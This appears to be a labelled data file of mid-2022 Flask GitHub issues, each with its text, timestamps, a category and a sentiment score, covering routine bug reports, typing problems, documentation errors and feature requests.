pallets/flask,1312555680,"Possible to make jinjia2 support django,java,php and golang","<!--
Replace this comment with a description of what the feature should do.
Include details such as links to relevant specs or previous discussions.
-->

<!--
Replace this comment with an example of the problem which this feature
would resolve. Is this problem solvable without changes to Flask, such
as by subclassing or using an extension?
-->
",,2022-07-21 04:29:28+00:00,2022-07-21 05:00:00+00:00,0,nan,0.0212,possible to make jinjia support django java php and golang replace this comment with a description of what the feature should do include details such as links to relevant specs or previous discussions replace this comment with an example of the problem which this feature would resolve is this problem solvable without changes to flask such as by subclassing or using an extension,help,-0.0516
pallets/flask,1303347747,Misleading documentation: styleguide,"Not sure if this is the best place to post, but I couldn't find a better one:

The [Pocoo Styleguide](https://flask.palletsprojects.com/en/1.1.x/styleguide/) currently has a banner stating this:

<img width=""1159"" alt=""image"" src=""https://user-images.githubusercontent.com/3042488/178730200-177bb96d-b84d-40b7-b3c4-8cf50330eadc.png"">

For a newcomer, this makes it sound like the styleguide is outdated. Then:

- Clicking the ""Version 2.0.x."" link (`https://flask.palletsprojects.com/en/2.0.x/styleguide/`) leads to a 404;
- ...as does the version widget in the bottom right corner.

My understanding is that v1.1. is the latest version of the style guide anyway.

Expected:

- Either serve the styleguide on the 2.x branch;
*or*
- Remove the warning.

Environment:

- Web documentation",,2022-07-13 12:12:31+00:00,2022-07-13 12:20:33+00:00,1,nan,0.0056,misleading documentation styleguide not sure if this is the best place to post but i couldn t find a better one the pocoo styleguide currently has a banner stating this img width alt image src for a newcomer this makes it sound like the styleguide is outdated then clicking the version x link leads to a as does the version widget in the bottom right corner my understanding is that v is the latest version of the style guide anyway expected either serve the styleguide on the x branch or remove the warning environment web documentation,documentation,0.645
pallets/flask,1292095076,No GitHub issues,"**Description:**
Nearly every popular OSS project has issues ranging in the hundreds to thousands. Currently, `Flask` has **_zero issues across all environments_** I've used to investigate, clearly indicating an issue.

Please fix this by creating issues.

**Replicate:**
Navigate to [the project's issues tab](https://github.com/pallets/flask/issues).

**Expect:**
- A list of issues (currently empty)

Environment:
Google Chrome, Brave, Internet Explorer, Safari, Netscape, cURL, `requests`...

- Python version: EVERY
- Flask version: EVERY
",,2022-07-02 16:53:30+00:00,2022-07-02 17:02:20+00:00,0,nan,0.0061,no github issues description nearly every popular oss project has issues ranging in the hundreds to thousands currently has zero issues across all environments i ve used to investigate clearly indicating an issue please fix this by creating issues replicate navigate to the project s issues tab expect a list of issues currently empty environment google chrome brave internet explorer safari netscape curl python version every flask version every,bug,0.8979
pallets/flask,1291924512, UserWarning: The name 'vnc_bp' is already registered for this blueprint. Use 'name=' to provide a unique name. This will become an error in Flask 2.1.,"I have added a print statement inside `flask.blueprints.register` and I only see one printout for my ""vnc_bp""... yet I still get this error. I've had to retain an older version that still just warns, rather than raises.",,2022-07-02 00:48:51+00:00,2022-07-02 00:53:34+00:00,2,nan,0.0033,userwarning the name vnc bp is already registered for this blueprint use name to provide a unique name this will become an error in flask i have added a print statement inside and i only see one printout for my vnc bp yet i still get this error i ve had to retain an older version that still just warns rather than raises,bug,-0.7506
pallets/flask,1290109929,Dataclasses as responses,"
In an effort improve the typing of all my API endpoints, I was looking at methods to better describe the response. I find dataclasses to be amazing for quickly describing data structures. However when returning for a route only more loosely defined types are allowed.  So I have a patch ready where dataclasses are allowed in make_response. so they can be directly returned from the view endpoint. 

So instead of for example the following:

```python
@app.route('/data/endpoint/')
def api_endpoint() -> dict:
    return {""data"": 1, ""message"": ""hello""}
```

We can more formally define the type of return data: 

```python
@dataclass
class EndpointResponse():
    data: int #: comment on the value
    message: str #: another comment to be shown in documentation
    
@app.route('/data/endpoint/')
def api_endpoint() -> EndpointResponse:
    return EndpointResponse(data=1, message=""hello"")
```
This would allow any documentation to directly show all fields in the json response. 

",,2022-06-30 13:04:32+00:00,2022-06-30 13:20:41+00:00,4,nan,0.0112,dataclasses as responses in an effort improve the typing of all my api endpoints i was looking at methods to better describe the response i find dataclasses to be amazing for quickly describing data structures however when returning for a route only more loosely defined types are allowed so i have a patch ready where dataclasses are allowed in make response so they can be directly returned from the view endpoint so instead of for example the following we can more formally define the type of return data this would allow any documentation to directly show all fields in the json response,others,0.9226
pallets/flask,1289530849,When will Flask support native ASGI?,"I don't want to refactor the code to Quart, but rather have the freedom to choose WSGI or ASGI when using Flask. Thank you for your reply!",,2022-06-30 03:29:09+00:00,2022-06-30 03:50:04+00:00,6,nan,0.0145,when will flask support native asgi i don t want to refactor the code to quart but rather have the freedom to choose wsgi or asgi when using flask thank you for your reply,help,0.9011
pallets/flask,1288107551,Flask return a list directly,"```python
from flask import Flask

app = Flask(__name__)


@app.route('/')
def index():
    return [1, 2, 3]


if __name__ == '__main__':
    app.run()
```

It will raise **TypeError: The view function did not return a valid response. The return type must be a string, dict, tuple, Response instance, or WSGI callable, but it was a list.**

Then I have to do like this.

```python
from flask import Flask, jsonify

app = Flask(__name__)


@app.route('/')
def index():
    return jsonify([1, 2, 3])


if __name__ == '__main__':
    app.run()
```

And I found that a dict can be jsonify automatically in [app.py#L1924](https://github.com/pallets/flask/blob/main/src/flask/app.py#L1924)

So why does flask can't jsonify a list like a dict ?",json,2022-06-29 02:54:04+00:00,2022-06-29 02:56:07+00:00,5,json,0.0014,flask return a list directly it will raise typeerror the view function did not return a valid response the return type must be a string dict tuple response instance or wsgi callable but it was a list then i have to do like this and i found that a dict can be jsonify automatically in app py l so why does flask can t jsonify a list like a dict,others,0.7579
pallets/flask,1287531638,Two Flask server spawned using multiprocessing not working as expected.,"**Issue Outline**
I tried to spawn two Flask processes using `multiprocessing` library as mentioned below.
The response from the server is fluctuating/crossing between the two server's '/' route.
More information on:  https://stackoverflow.com/questions/72758633/two-flask-processes-spawned-using-multiprocessing-are-not-working-properly

**Reproducer Code:**
```
# ======================= server 1 ======================

from flask import Flask
app1 = Flask(""App1"")

@app1.route('/')
def index1():
    return ""Hello This is app 1""

class FlaskApp1:
    def start(self):
        global app1
        app1.run(host=""0.0.0.0"", port=6000, debug=True)

# ======================= server 2 ======================

app2 = Flask(""App2"")

@app2.route('/')
def index2():
    return ""Hello This is app 2""

class FlaskApp2:
    def start(self):
        global app2
        app2.run(host=""0.0.0.0"", port=7000, debug=True)

# ======================= MAIN ======================
from multiprocessing import Process

if __name__ == ""__main__"":
    p1 = Process(target=FlaskApp1().start, args=())
    p2 = Process(target=FlaskApp2().start, args=())

    p1.start()
    p2.start()

    p1.join()
    p2.join()
```

**Output:**
The response is fluctuating between the '/' route of two servers
```
======== From Server 1 ==========
#  curl localhost:6000
Hello This is app 1
#  curl localhost:6000
Hello This is app 2
#  curl localhost:6000
Hello This is app 1
#... [TRUNCATED]",,2022-06-28 15:32:51+00:00,2022-06-28 15:36:19+00:00,3,nan,0.0024,two flask server spawned using multiprocessing not working as expected issue outline i tried to spawn two flask processes using library as mentioned below the response from the server is fluctuating crossing between the two server s route more information on reproducer code output the response is fluctuating between the route of two servers from server curl localhost hello this is app curl localhost hello this is app curl localhost hello this is app truncated,others,0.0
pallets/flask,1285198634,How to troubleshoot the Jinja2 template loader while using Flask?,"Hi,

I am encountering a rather strange issue when working with Flask, Flask_Assets, werkzeung, Jinja2. 

The project uses a lot of Jinja2 templates. There's a base template base.html which most child template extends from.

The child templates usually looks like this... 
{% extends ""empty.html"" if request.is_xhr else ""base.html"" %}
{% block app_content %}
  Contents
{% endblock %}


When I upgrade werkzeug==0.16.1 to werkzeug==1.0.0. The jinja2 loader loads the base.html twice! The resulting page will have base.html nested within each other. How do I go about debugging the loader and the loading process of Jinja2 using Flask?

I am hoping to peek into the inner working of Jinja2 loader via Flask. I am not sure how to go about it.

https://svn.python.org/projects/external/Jinja-1.1/docs/build/loaders.html

",,2022-06-27 04:02:17+00:00,2022-06-27 04:10:59+00:00,1,nan,0.006,how to troubleshoot the jinja template loader while using flask hi i am encountering a rather strange issue when working with flask flask assets werkzeung jinja the project uses a lot of jinja templates there s a base template base html which most child template extends from the child templates usually looks like this extends empty html if request is xhr else base html block app content contents endblock when i upgrade werkzeug to werkzeug the jinja loader loads the base html twice the resulting page will have base html nested within each other how do i go about debugging the loader and the loading process of jinja using flask i am hoping to peek into the inner working of jinja loader via flask i am not sure how to go about it,help,0.4339
pallets/flask,1283828841,flask.json.dumps fails for dicitonaries with mixed string + integer keys,"The flask JSON module likely tries to sort keys before skipping or converting non-string keys to strings, resulting in a `TypeError` about comparisons when a dictionary with mixed string and non-string keys is provided, instead of correctly converting the non-string keys to strings.

Snippets to reproduce:

Python's built-in json behavior:

```
obj = {'hi': 'bye', 1: 2}
import json
print(json.dumps(obj))
```

prints:

`{""hi"": ""bye"", ""1"": 2}`

Now with `flask.json`:

```
obj = {'hi': 'bye', 1: 2}
from flask import json
print(json.dumps(obj))
```

We get a `TypeError`:

```
Traceback (most recent call last):
  File ""<stdin>"", line 1, in <module>
  File ""/usr/local/lib/python3.10/site-packages/flask/json/__init__.py"", line 131, in dumps
    return _json.dumps(obj, **kwargs)
  File ""/usr/local/Cellar/python@3.10/3.10.2/Frameworks/Python.framework/Versions/3.10/lib/python3.10/json/__init__.py"", line 238, in dumps
    **kw).encode(obj)
  File ""/usr/local/Cellar/python@3.10/3.10.2/Frameworks/Python.framework/Versions/3.10/lib/python3.10/json/encoder.py"", line 199, in encode
    chunks = self.iterencode(o, _one_shot=True)
  File ""/usr/local/Cellar/python@3.10/3.10.2/Frameworks/Python.framework/Versions/3.10/lib/python3.10/json/encoder.py"", line 257, in iterencode
    return _iterencode(o, 0)
TypeError: '<' not supported between instances of 'int' and 'str'
```

It works correctly if `sort_keys=False` is provided.

The fix is almost certainly ... [TRUNCATED]",,2022-06-24 14:35:10+00:00,2022-06-24 14:39:47+00:00,3,nan,0.0032,flask json dumps fails for dicitonaries with mixed string integer keys the flask json module likely tries to sort keys before skipping or converting non string keys to strings resulting in a about comparisons when a dictionary with mixed string and non string keys is provided instead of correctly converting the non string keys to strings snippets to reproduce python s built in json behavior prints now with we get a it works correctly if is provided the fix is almost certainly truncated,others,-0.2247
pallets/flask,1282069482,There is a typo in the docs relating to javascript,"### Bug description:
There is a typo in the javascript page on the docs. It currently reads:

`The following example shows how to a <div> with the HTML returned by a request.`

`The following example shows how to replace  a <div> with the HTML returned by a request.`

### Replication:
Replicate this bug by reading the docs.


### Expected behaviour:
The expected behaviour is that the word ""replace"" is in the above sentence in the docs

### Environment:

- Python version: N/A
- Flask version: N/A
",docs,2022-06-23 09:06:41+00:00,2022-06-23 09:21:49+00:00,4,docs,0.0105,there is a typo in the docs relating to javascript bug description there is a typo in the javascript page on the docs it currently reads replication replicate this bug by reading the docs expected behaviour the expected behaviour is that the word replace is in the above sentence in the docs environment python version n a flask version n a,documentation,-0.6908
pallets/flask,1274142985,Installing extras with pip does not work,"As guided by [the docs](https://flask.palletsprojects.com/en/2.1.x/async-await/#using-async-and-await), when I try to install the `async` extra by running 
```
pip install flask[async]
```
I get the following message.
```
zsh: no matches found: flask[async]
```

I believe that this is because there is no `[options.extras_require]` section in `setup.cfg`.
I noticed that there is an `extras_require` section in `setup.py`, but I'm not sure why `pip` cannot find it.

It should have installed the dependencies needed for flask to run with coroutine functions.

Environment:

- Python version: 3.10
- Flask version: 2.1.2
- Pip version: 22.1.2
",,2022-06-16 22:26:06+00:00,2022-06-16 22:54:37+00:00,1,nan,0.0198,installing extras with pip does not work as guided by the docs when i try to install the extra by running i get the following message i believe that this is because there is no section in i noticed that there is an section in but i m not sure why cannot find it it should have installed the dependencies needed for flask to run with coroutine functions environment python version flask version pip version,others,-0.4666
pallets/flask,1272506035,Flask does not support decorators for asynchronous functions.,"Code:

```python
import functools

from flask import Flask


app = Flask('test')


def any_decorator(fn):
    @functools.wraps(fn)
    def decorator(*args, **kwargs):
        return fn(*args, **kwargs)
    return decorator


@app.get('/async')
@any_decorator
async def async_index():
    return 'Exception :('
    

@app.get('/sync')
@any_decorator
def sync_index():
    return 'All okay'



app.run()
```

Traceback:

```
[2022-06-15 19:44:25,840] ERROR in app: Exception on /async [GET]
Traceback (most recent call last):
  File ""<censored>\flask-test-mmlQ_GA6-py3.10\lib\site-packages\flask\app.py"", line 2077, in wsgi_app
    response = self.full_dispatch_request()
  File ""<censored>\flask-test-mmlQ_GA6-py3.10\lib\site-packages\flask\app.py"", line 1526, in full_dispatch_request
    return self.finalize_request(rv)
  File ""<censored>\flask-test-mmlQ_GA6-py3.10\lib\site-packages\flask\app.py"", line 1545, in finalize_request
    response = self.make_response(rv)
  File ""<censored>\flask-test-mmlQ_GA6-py3.10\lib\site-packages\flask\app.py"", line 1734, in make_response
    raise TypeError(
TypeError: The view function did not return a valid response. The return type must be a string, dict, tuple, Response instance, or WSGI callable, but it was a coroutine.
```

Environment:

- Python version: ^3.10
- Flask version: ^2.1.2 with async
",,2022-06-15 17:00:14+00:00,2022-06-15 17:06:24+00:00,1,nan,0.0043,flask does not support decorators for asynchronous functions code traceback environment python version flask version with async,help,-0.3089
pallets/flask,1270972215,Update README.rst,"<!--
-->

<!--
N/A
-->

This feature will add on to some information in README.rst.",,2022-06-14 15:20:13+00:00,2022-06-14 15:22:28+00:00,1,nan,0.0016,update readme rst n a this feature will add on to some information in readme rst,others,0.0
pallets/flask,1269498676,werkzeug critical vulnerability until 2.1.1,"Hello,

I got the information while scanning my dependencies, werkzeug in version ≥ 2.0 as specified here is vulnerable until version 2.1.1:

https://github.com/pallets/flask/blob/97298e06fe19298c3ff9d2e0ed9ba70bb3fda2c8/setup.py#L7

Vulnerability report: https://avd.aquasec.com/nvd/2022/cve-2022-29361/

I temporarily fixed the issue by adding this line in my `requirements.in`: 

```
werkzeug>=2.1.1
```
",,2022-06-13 14:08:43+00:00,2022-06-13 14:10:30+00:00,2,nan,0.0012,werkzeug critical vulnerability until hello i got the information while scanning my dependencies werkzeug in version as specified here is vulnerable until version vulnerability report i temporarily fixed the issue by adding this line in my,others,-0.7184
pallets/flask,1268310561,flask.jsonify produces extra (trailing spaces),"<!--
This issue tracker is a tool to address bugs in Flask itself. Please use
Pallets Discord or Stack Overflow for questions about your own code.

Replace this comment with a clear outline of what the bug is.
-->

[The current implementation](https://github.com/pallets/flask/blob/db3187fd7ab324d9175d8a1dd8c3919cec58d3b9/src/flask/json/__init__.py#L291) of flask.jsonify sets `separators` for `json.dump` as `("", "", "": "")` for ""pretty-print"". Such configuration causes a trailing space in each line ending with "","". But if one check [https://api.github.com/events](https://api.github.com/events) one can notice that it returns pretty-printed JSON without trailing spaces.

I believe it is inconvenient to have spaces in line ends.

<!--
Describe how to replicate the bug.

Include a minimal reproducible example that demonstrates the bug.
Include the full traceback if there was an exception.
-->

Example:
```
import flask


# Without `app` creation  and run user get ""RuntimeError: Working outside of application context."" from `flask.jsonify`
app = flask.Flask(__name__)
app.config[""JSONIFY_PRETTYPRINT_REGULAR""] = True


@app.route(""/"")
def hello():
    result = flask.jsonify({""id"": 0, ""message"": ""Hello, World!""})
    result_lines = result.data.splitlines()

    print(""All lines are printed as `bytes` because the quotes shows the trailing spaces"")

    print(""Printing the whole expected output"")
    for line in result_lines:
        print(line.rstrip(... [TRUNCATED]",,2022-06-11 15:56:05+00:00,2022-06-11 17:45:36+00:00,4,nan,0.0761,flask jsonify produces extra trailing spaces this issue tracker is a tool to address bugs in flask itself please use pallets discord or stack overflow for questions about your own code replace this comment with a clear outline of what the bug is the current implementation of flask jsonify sets for as for pretty print such configuration causes a trailing space in each line ending with but if one check one can notice that it returns pretty printed json without trailing spaces i believe it is inconvenient to have spaces in line ends describe how to replicate the bug include a minimal reproducible example that demonstrates the bug include the full traceback if there was an exception example import flask without creation and run user get runtimeerror working outside of application context from app flask flask name app config jsonify prettyprint regular true app route def hello result flask jsonify id message hello world result lines result data splitlines print all lines are printed as because the quotes shows the trailing spaces print printing the whole expected output for line in result lines print line rstrip truncated,others,-0.5605
pallets/flask,1268193351,Documentation for FileStorage.save() is inadequate,"The documentation for file uploads in flask has a flaw in it that caused me to lose data on my app. When an app receives an uploaded file, if it calls request.files['file'].save(filename1), they may not then call request.files['file'].save(filename2) because if they do, they get an empty file where filename2 is. The specific piece of documentation that is misleading is [werkzeug.datastructures.FileStorage](https://werkzeug.palletsprojects.com/en/2.1.x/datastructures/#werkzeug.datastructures.FileStorage.save) where it doesn't say that calling save() essentially destroys FileStorage. I understand that perhaps the underlying object is a stream, but it's called a FileStorage object, not a FileStream.

A minimal example is trivial to create:
<form action=""/upload"" method=""POST"">
<input type=""file"" name=""file"">

This posts to a flask app with the action:
f = request.files['file']
f.save(filename1)
f.save(filename2)

The file filename2 is created but has 0 bytes in it.

The expected behavior is to have save() a repeatable action. This could easily be fixed by documenting save() to say that it may only be called once. That's the simple fix, but a better fix would be to make the save() call be non-destructive on the FileStorage object.



",,2022-06-11 07:43:34+00:00,2022-06-11 14:04:11+00:00,2,nan,0.2643,documentation for filestorage save is inadequate the documentation for file uploads in flask has a flaw in it that caused me to lose data on my app when an app receives an uploaded file if it calls request files file save filename they may not then call request files file save filename because if they do they get an empty file where filename is the specific piece of documentation that is misleading is werkzeug datastructures filestorage where it doesn t say that calling save essentially destroys filestorage i understand that perhaps the underlying object is a stream but it s called a filestorage object not a filestream a minimal example is trivial to create this posts to a flask app with the action f request files file f save filename f save filename the file filename is created but has bytes in it the is to have save a repeatable action this could easily be fixed by documenting save to say that it may only be called once that s the simple fix but a better fix would be to make the save call be non destructive on the filestorage object,documentation,0.9878
pallets/flask,1265141794,Error: read ECONNRESET while calling API with misleading header,"Hi, 
A couples week ago I opened an issue, I had a problem that flask application closed connection when request data size is large. Since the completed code to reproduce the issue was not fully written the issue was closed. So I have to create a new issue. 
I uploaded full code in the previous issue. 
here is the issue with full code and postman sample : 
#4597 

I would really appreciate if you can take look at it.


",,2022-06-08 18:35:42+00:00,2022-06-08 18:40:27+00:00,0,nan,0.0033,error read econnreset while calling api with misleading header hi a couples week ago i opened an issue i had a problem that flask application closed connection when request data size is large since the completed code to reproduce the issue was not fully written the issue was closed so i have to create a new issue i uploaded full code in the previous issue here is the issue with full code and postman sample i would really appreciate if you can take look at it,bug,-0.4666
pallets/flask,1263893136,mypy errors when static_folder is given a Pathlib,"This is a continuation of #4150. I'm still getting the same issues using Flask 2.1.2. Not sure why this is still happening.

Thank you!",,2022-06-07 21:28:59+00:00,2022-06-08 14:06:58+00:00,2,nan,0.693,mypy errors when static folder is given a pathlib this is a continuation of i m still getting the same issues using flask not sure why this is still happening thank you,bug,-0.2173
pallets/flask,1262312654,Adding MySQL Documentation,"There is a need to include documentation on integrating MySQL with Flask, specifically with flask_mysqldb module and the MySQL class.

Currently, the documentation includes information on how to use SQLite3 and SQLAlchemy, but no specific documentation on how to use Flask with MySQL with SQL style syntax. Some may not want to use SQLAlchemy to perform SQL operation and rather use more SQL looking syntax. This documentation will show how to use the MySQL class from flask_mysqldb to do these CRUD operations.
",,2022-06-06 19:43:06+00:00,2022-06-06 19:44:32+00:00,3,nan,0.001,adding mysql documentation there is a need to include documentation on integrating mysql with flask specifically with flask mysqldb module and the mysql class currently the documentation includes information on how to use sqlite and sqlalchemy but no specific documentation on how to use flask with mysql with sql style syntax some may not want to use sqlalchemy to perform sql operation and rather use more sql looking syntax this documentation will show how to use the mysql class from flask mysqldb to do these crud operations,documentation,-0.4824
pallets/flask,1258286385,werkzeug.exceptions.BadRequest: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.,"I am trying to run this code segment
```
from flask import Flask,request
@app.route(""/my_end_point"",methods=['GET', 'POST', 'PUT', 'DELETE'])
def myFunctionName():
    if request.method == 'POST':
        body = request.get_json()
```
And I am calling the endpoint by POST method
But I am getting these errors at ```body = request.get_json()```
```
werkzeug.exceptions.BadRequest: 400 Bad Request: The browser (or proxy) sent a request that this server could not understand.
```


Environment:

-OS version : Ubuntu 18.04.6 LTS
- Python version: Python 3.9.13
- Flask versions:
Flask==2.0.3
Flask-Cors==3.0.3
Werkzeug==2.1.2


",,2022-06-02 14:45:53+00:00,2022-06-02 15:15:13+00:00,1,nan,0.0204,werkzeug exceptions badrequest bad request the browser or proxy sent a request that this server could not understand i am trying to run this code segment and i am calling the endpoint by post method but i am getting these errors at environment os version ubuntu lts python version python flask versions flask flask cors werkzeug,feature,-0.2382
pallets/flask,1257956802,app.logger logs messages multiple times when using mod_wsgi and application factory,"Hi,

I'm not sure if this bug is in Flask, python or mod_wsgi but since I can only reproduce it when I use an ""application factory"", I'm opening it here.

When I create an application that
 * uses an application factory (create_app function to create the app object)
 * add a WatchedFilehandler logger to the app.logger
 * Create a basic route that logs something

If I deploy this application using Apache and mod_wsgi and then send 3 requests to the application, the log file contains more than 3 lines.
For the first request, it will contain one line, for the second request it will contain two more lines, 3 for the 3rd request, ...

I've created a git repository with an example to reproduce it:

* Clone https://gitlab.esat.kuleuven.be/Rik.Theys/brol.git
* In the repository is a Containerfile that can be used with buildah (or Docker) to build a container image:
  ```buildah bud -f Containerfile -t brol```
* Run the resulting container:
  ```podman run -dt --rm -p 5000:80 --name brol localhost/brol```
* Verify that there's no log file in the container image:
  ```podman exec -it  brol cat /srv/app/logfile```
 * Send a single request:
   ```curl http://localhost:5000/app/```
 * Check the log again. It will show one line.
   ```podman exec -it  brol cat /srv/app/logfile```
 * Send another request.
     ```curl http://localhost:5000/app/```
 * Check the log again. It will show 3 lines: one for the 1st request and **two** for the second request.
   ```podma... [TRUNCATED]",,2022-06-02 09:51:49+00:00,2022-06-02 12:23:22+00:00,2,nan,0.1052,app logger logs messages multiple times when using mod wsgi and application factory hi i m not sure if this bug is in flask python or mod wsgi but since i can only reproduce it when i use an application factory i m opening it here when i create an application that uses an application factory create app function to create the app object add a watchedfilehandler logger to the app logger create a basic route that logs something if i deploy this application using apache and mod wsgi and then send requests to the application the log file contains more than lines for the first request it will contain one line for the second request it will contain two more lines for the rd request i ve created a git repository with an example to reproduce it clone in the repository is a containerfile that can be used with buildah or docker to build a container image run the resulting container verify that there s no log file in the container image send a single request check the log again it will show one line send another request check the log again it will show lines one for the st request and two for the second request podma truncated,others,0.7795
pallets/flask,1256430309,FLASK_RUN_FROM_CLI breaks prometheus_flask_exporter,"Hi, I originally filed an issue at https://github.com/rycus86/prometheus_flask_exporter/issues/135 but determined that it was impossible to resolve the problem downstream, and changes are required in Flask to support the use case of prometheus_flask_exporter.

The problem is described in the issue report I linked above, but I will also summarize it here for convenience. Basically, when you invoke `flask run`, then Flask sets `FLASK_RUN_FROM_CLI` as an environment variable. Then, in `app.run()`, if that environment variable is set, Flask skips starting the app, and prints the following warning:

```
Warning: Silently ignoring app.run() because the application is run from the flask command line executable. Consider putting app.run() behind an if __name__ == ""__main__"" guard to silence this warning.
```

This is all fine and good when `app.run()` is being invoked from the top level in the main module, and it was not intended to launch a duplicate app. However, sometimes the user actually _does_ want to invoke two separate Flask applications: for example, to expose application metrics on a different port from web traffic, which is generally recommended as a security best practice.

Specifically, prometheus_flask_exporter offers an option to expose metrics on a separate port by starting a separate Flask app on a separate port and thread. However, Flask's behavior around `FLASK_RUN_FROM_CLI` breaks this functionality, since if the web traffic app is launched using `flask ... [TRUNCATED]",,2022-06-01 16:26:08+00:00,2022-06-01 17:34:23+00:00,5,nan,0.0474,flask run from cli breaks prometheus flask exporter hi i originally filed an issue at but determined that it was impossible to resolve the problem downstream and changes are required in flask to support the use case of prometheus flask exporter the problem is described in the issue report i linked above but i will also summarize it here for convenience basically when you invoke then flask sets as an environment variable then in if that environment variable is set flask skips starting the app and prints the following warning this is all fine and good when is being invoked from the top level in the main module and it was not intended to launch a duplicate app however sometimes the user actually does want to invoke two separate flask applications for example to expose application metrics on a different port from web traffic which is generally recommended as a security best practice specifically prometheus flask exporter offers an option to expose metrics on a separate port by starting a separate flask app on a separate port and thread however flask s behavior around breaks this functionality since if the web traffic app is launched using flask truncated,others,0.9549
pallets/flask,1256311431,Testing page refers to nonexistant argument of EnvironBuilder,"The Testing Flask Applications page of the docs contains this passage:

> The client has methods that match the common HTTP request methods, such as client.get() and client.post(). They take many arguments for building the request; you can find the full documentation in [EnvironBuilder](https://werkzeug.palletsprojects.com/en/2.1.x/test/#werkzeug.test.EnvironBuilder). Typically you’ll use `path`, `query`, `headers`, and `data` or `json`.

In fact, the argument the user has to use is [`query_string`](https://werkzeug.palletsprojects.com/en/2.1.x/test/#werkzeug.test.EnvironBuilder).

**Environment:**

- Python version: all
- Flask version: 2.1.x
",docs,2022-06-01 15:37:52+00:00,2022-06-01 23:10:38+00:00,0,docs,0.3144,testing page refers to nonexistant argument of environbuilder the testing flask applications page of the docs contains this passage the client has methods that match the common http request methods such as client get and client post they take many arguments for building the request you can find the full documentation in environbuilder typically you ll use and or in fact the argument the user has to use is environment python version all flask version x,documentation,-0.7717
pallets/flask,1250451729,Typing issue with `redirect`,"Function `redirect` returns the wrong type according to `mypy`:

```python
# file ""redir.py""
from flask import Response, redirect
def something() -> Response:
    return redirect(""https://wikipedia.org/"")
```

Then mypy complains:
```
redir.py:3: error: Incompatible return value type (got ""werkzeug.wrappers.response.Response"", expected ""flask.wrappers.Response"")
Found 1 error in 1 file (checked 1 source file)
```

Function `redirect` should return a `flask.wrappers.Response`.

Environment:

- Python version: 3.8.10
- Flask version: 2.1.2
",,2022-05-27 07:47:30+00:00,2022-05-28 16:56:37+00:00,1,nan,1.3813,typing issue with function returns the wrong type according to then mypy complains function should return a environment python version flask version,bug,-0.6908
pallets/flask,1250439167,Typing issue on `after_request`,"Typing issue between `mypy` *0.960* (and all prior versions I tested) and `Flask` *2.1.2*. Not sure whether the issue is in mypy or Flask, but I guess it has something to do with the later.

```Python
# file test.py
from flask import Flask, Response
app = Flask(""hello"")

def nope(res: Response) -> Response:
    return res
app.after_request(nope)
```

Then run:

```shell
mypy test.py
```

Results in:
```
test.py:8: error: Argument 1 to ""after_request"" of ""Scaffold""
   has incompatible type ""Callable[[Arg(Response, 'res')], Response]"";
  expected ""Callable[[Response], Response]""
Found 1 error in 1 file (checked 1 source file)
```

However, the same tests is fine with Flask *2.0.0* (for instance).

- Python version: 3.8.10
- Flask version: 2.1.2
",,2022-05-27 07:31:41+00:00,2022-05-27 14:09:37+00:00,1,nan,0.2763,typing issue on typing issue between and all prior versions i tested and not sure whether the issue is in mypy or flask but i guess it has something to do with the later then run results in however the same tests is fine with flask for instance python version flask version,bug,0.1825
pallets/flask,1249005220,jsonify() can't serialize <class 'werkzeug.local.LocalProxy'> during debug mode,"During `app.debug = True`

jsonify can serialize a LocalProxy()

Then `app.debug = False`

This error shows.

```bash
[2022-05-26 13:57:45,664] ERROR in app: Exception on /api/optional-scoped [GET]
Traceback (most recent call last):
  File ""/home/mike/work/Unfinished/microauth/client/venv/lib/python3.9/site-packages/flask/app.py"", line 2077, in wsgi_app
    response = self.full_dispatch_request()
  File ""/home/mike/work/Unfinished/microauth/client/venv/lib/python3.9/site-packages/flask/app.py"", line 1525, in full_dispatch_request
    rv = self.handle_user_exception(e)
  File ""/home/mike/work/Unfinished/microauth/client/venv/lib/python3.9/site-packages/flask/app.py"", line 1523, in full_dispatch_request
    rv = self.dispatch_request()
  File ""/home/mike/work/Unfinished/microauth/client/venv/lib/python3.9/site-packages/flask/app.py"", line 1509, in dispatch_request
    return self.ensure_sync(self.view_functions[rule.endpoint])(**req.view_args)
  File ""/home/mike/work/Unfinished/microauth/client/venv/lib/python3.9/site-packages/flask_cors/decorator.py"", line 128, in wrapped_function
    resp = make_response(f(*args, **kwargs))
  File ""/home/mike/work/Unfinished/microauth/client/app/src/client.py"", line 591, in wrapped_function
    return f(*args, **kwargs)
  File ""/home/mike/work/Unfinished/microauth/client/app/src/main.py"", line 221, in optional_scoped
    return jsonify(message=""Hello from an optional endpoint!"", current_error=current_error)
  File ""/h... [TRUNCATED]",,2022-05-26 02:15:30+00:00,2022-05-26 04:17:47+00:00,1,nan,0.0849,jsonify can t serialize during debug mode during jsonify can serialize a localproxy then this error shows bash error in app exception on api optional scoped get traceback most recent call last file home mike work unfinished microauth client venv lib python site packages flask app py line in wsgi app response self full dispatch request file home mike work unfinished microauth client venv lib python site packages flask app py line in full dispatch request rv self handle user exception e file home mike work unfinished microauth client venv lib python site packages flask app py line in full dispatch request rv self dispatch request file home mike work unfinished microauth client venv lib python site packages flask app py line in dispatch request return self ensure sync self view functions rule endpoint req view args file home mike work unfinished microauth client venv lib python site packages flask cors decorator py line in wrapped function resp make response f args kwargs file home mike work unfinished microauth client app src client py line in wrapped function return f args kwargs file home mike work unfinished microauth client app src main py line in optional scoped return jsonify message hello from an optional endpoint current error current error file h truncated,bug,-0.9081
pallets/flask,1245510092,"Docs ""Old version"" banner lists incorrect ""latest stable"" version","When viewing a direct link to docs for an ancient version of Flask, a banner at the top of the page warns you that you're looking at old docs, and links to the ""latest stable version"". However, the version referenced and linked to is not the actual latest stable.

1. https://flask.palletsprojects.com/en/0.12.x/api/ - banner says 1.1.x
2. https://flask.palletsprojects.com/en/1.1.x/api/ - banner says 2.0.x
3. https://flask.palletsprojects.com/en/2.0.x/api/ - banner says 2.1.x
4. https://flask.palletsprojects.com/en/2.1.x/api/ - no banner

Expected behaviour: All three old versions should link to 2.1.x directly.
",,2022-05-23 17:47:27+00:00,2022-05-23 17:49:50+00:00,2,nan,0.0017,docs old version banner lists incorrect latest stable version when viewing a direct link to docs for an ancient version of flask a banner at the top of the page warns you that you re looking at old docs and links to the latest stable version however the version referenced and linked to is not the actual latest stable banner says x banner says x banner says x no banner expected behaviour all three old versions should link to x directly,documentation,0.802
pallets/flask,1245346360,deprecate `before_first_request`,"While reviewing the consistent use of `setupmethod` for #4571 and #4577, I'm realizing that `before_first_request` should probably be deprecated then removed.

* There's no example use cases in the docs.
* From examples I've seen on Stack Overflow and around the web, it seems to be (mis)used as a setup method, to do something ""before the application starts"".
